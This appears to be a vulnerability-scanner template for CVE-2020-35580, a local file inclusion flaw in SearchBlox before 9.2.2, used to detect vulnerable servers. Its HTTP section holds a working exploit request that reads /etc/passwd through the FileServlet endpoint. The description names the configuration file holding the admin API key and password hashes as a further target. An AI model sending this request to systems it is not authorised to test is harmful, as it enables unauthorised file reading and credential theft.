id: CVE-2020-35580

info:
  name: SearchBlox <9.2.2 - Local File Inclusion
  author: daffainfo
  severity: high
  description: SearchBlox prior to version 9.2.2 is susceptible to local file inclusion in  FileServlet that allows remote, unauthenticated users to read arbitrary files from the operating system via a /searchblox/servlet/FileServlet?col=url= request. Additionally, this may be used to read the contents of the SearchBlox configuration file (e.g., searchblox/WEB-INF/config.xml), which contains both the Super Admin API key and the base64 encoded SHA1 password hashes of other SearchBlox users.
  reference:
    - https://hateshape.github.io/general/2021/05/11/CVE-2020-35580.html
    - https://developer.searchblox.com/docs/getting-started-with-searchblox
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35580
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-35580
    cwe-id: CWE-22
    epss-score: 0.02161
    cpe: cpe:2.3:a:searchblox:searchblox:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: searchblox
    product: searchblox
  tags: cve,cve2020,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/searchblox/servlet/FileServlet?col=9&url=/etc/passwd"

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"